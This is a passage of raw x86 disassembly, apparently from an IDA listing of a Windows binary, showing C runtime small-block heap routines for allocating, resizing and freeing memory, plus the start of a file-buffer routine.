[ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A2E0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A2D0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC904 nop call near ptr 27C0000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A2D0 cmp esi, eax jnz short loc_41EA06 cmp off_43A2D0, 0 jnz short loc_41E9F6 mov off_43A2D0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A2D4, 0 jnz short loc_41EA1B mov off_43A2D4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A2D4 mov [esi+4], eax mov off_43A2D4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi call near ptr 28C0588h nop loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A2D0 jz short loc_41EAB3 push esi push 0 push dword_4DC904 nop call near ptr 27B0000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 28C0588h cmp off_43C2F0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C2F0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A2D0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC904 call near ptr 27B0000h nop pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A2E0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A2D4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28C0588h test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB2F4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A2D4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A2D0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB2F4 cmp dword_4DB2F4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C2F0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C2F0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C2F0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A2D0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call near ptr 28C0783h nop cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C2F0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C2F0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC5C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C950 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr 